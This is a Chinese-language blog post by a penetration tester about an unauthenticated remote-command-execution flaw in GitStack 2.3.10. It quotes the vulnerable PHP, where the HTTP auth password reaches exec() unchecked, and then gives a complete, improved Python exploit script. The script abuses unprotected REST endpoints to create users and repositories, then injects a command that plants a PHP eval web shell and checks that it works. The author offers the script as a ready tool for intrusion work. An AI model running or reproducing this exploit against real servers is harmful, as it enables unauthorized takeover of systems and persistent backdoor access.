GitStack 2.3.10 RCE Exploit

  • by

做渗透的时候刚好发现有一个目标有GitStack,顺手谷歌出了不久前发布的漏洞。
用了原作者的Exploit发现很多问题,差一点没把任务做出来…于是自己写了一个。

漏洞原理

作者:https://security.szurek.pl/
函数:authenticateFile
原因:$_SERVER[‘PHP_AUTH_PW’] 参数没有经过处理,直接拼接到了exec函数,造成了命令执行。
文件:/GitStack/gitphp/include/Authentication.class.php

public function authenticate() {
    // Skipped lines
    $authenticated = false;
    $username = $_SERVER['PHP_AUTH_USER'];
    $password = $_SERVER['PHP_AUTH_PW'];
    // Check if the user is in the array of read users
    if (in_array($username, $users)) {
        $authMethod = $this->getAuthMethod();
        // authenticate with ldap or by file
        if ($authMethod == "file") {
            $authenticated = $this->authenticateFile($username, $password);
        }
        if ($authMethod == "ldap") {
            $authenticated = $this->authenticateLdap($username, $password);
        }
        if ($authenticated == false) {
            $this->denyAuthentication();
        }
    } else {
        $this->denyAuthentication();
    }
}
private function authenticateFile($username, $password) {
    // Skipped lines
    $result = exec($installDir . '/apache/bin/openssl.exe passwd -apr1 -salt ' . $currentUser['salt'] . " " . $password);
}

漏洞利用

GitStack在用户和项目的操作上没有加访问控制,可以未授权添加用户、项目,修改项目用户及用户组。
漏洞函数:authenticateFile将password带入exec函数的前提条件是用户必须拥有该项目的访问权限。
因为前面说到的未授权访问,可以将用户添加到项目后再进行漏洞利用。
原作者的Exploit: gitstack_unauthenticated_rce.py
我觉得太难用了, 甚至在利用过程中差点因为他代码的问题放弃一个渗透到一半的网站。

优化后的Exp

感谢作者挖到了这个漏洞,并且给出了利用脚本,让我成功的拿下了手上的任务之一。
最后我修改了原作者写入webshell的问题,以及在添加用户到项目时程序判断失败的方式。(原exp即使添加成功了也会判断失败。)
Github: GitStack_2.3.10_Unauthenticated_RCE.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Date: 2018/3/29 14:07
import sys
import requests
from requests.auth import HTTPBasicAuth
try:
    url = sys.argv[1]
except IndexError:
    exit("Please input target url. eg: python GitStack_2.3.10_Unauthenticated_RCE.py http://192.168.211.130/")
def create_user(username, password):
    try:
        # Create user
        r = requests.post("{}/rest/user/".format(url), data={'username': username, 'password': password})
        if "User created" not in r.text:
            exit("Cannot create user")
        print("Create user: {}".format(username))
        return username
    except Exception as msg:
        exit(msg)
def create_repository(name):
    try:
        # Create repository
        r = requests.post("{}/rest/repository/".format(url), cookies={'csrftoken': "token"},
                          data={'name': name, 'csrfmiddlewaretoken': "token"})
        if "successfully created" not in r.text:
            exit("Cannot create repository")
        print("Create repository: {}".format(name))
        return name
    except Exception as msg:
        exit(msg)
try:
    # Check user
    users = requests.get("{}/rest/user/".format(url)).json()
    users.remove("everyone")
    if len(users) > 0:
        print("Found user:{}".format(users))
        user = users[0]
    else:
        user = create_user("blablabla", "blablabla")
    # Check repository
    response = requests.get("{}/rest/repository/".format(url))
    reps = response.json()
    if reps:
        repository = reps[0]['name']
        print("Found repository: {}".format(repository))
    else:
        repository = create_repository("blablabla")
    # Check permissions
    response = requests.get("{}/rest/repository/{}".format(url, repository))
    users = response.json()
    if len(users["user_write_list"]) > 0:
        user = users["user_write_list"][0]["username"]
        print("Repository user:{}".format(users["user_write_list"]))
    else:
        # Add user to repository
        r = requests.post("{}/rest/repository/{}/user/{}/".format(url, repository, user))
        # Check add user to repository
        stats = requests.get("{}/rest/repository/{}/user/{}/".format(url, repository, user))
        if "true" in stats.text:
            print("Add user {} to repository success!".format(user))
        else:
            exit("Failed add user to repository...")
    # Login & Insert webshell
    exp = "p && echo ^<?php @eval($_POST['pass']) ?^> > c:\GitStack\gitphp\gitest.php"
    req = requests.get('{}/web/index.php?p={}.git&a=summary'.format(url, repository), auth=HTTPBasicAuth(user, exp))
    # Check webshell exist
    status_code = requests.get("{}/web/gitest.php".format(url)).status_code
    if status_code == 200:
        print("Insert webshell success! url: {}".format(url + "web/gitest.php"))
    else:
        exit("Insert Failed...")
except Exception as msg:
    exit(msg)
标签:

发表评论

电子邮件地址不会被公开。 必填项已用*标注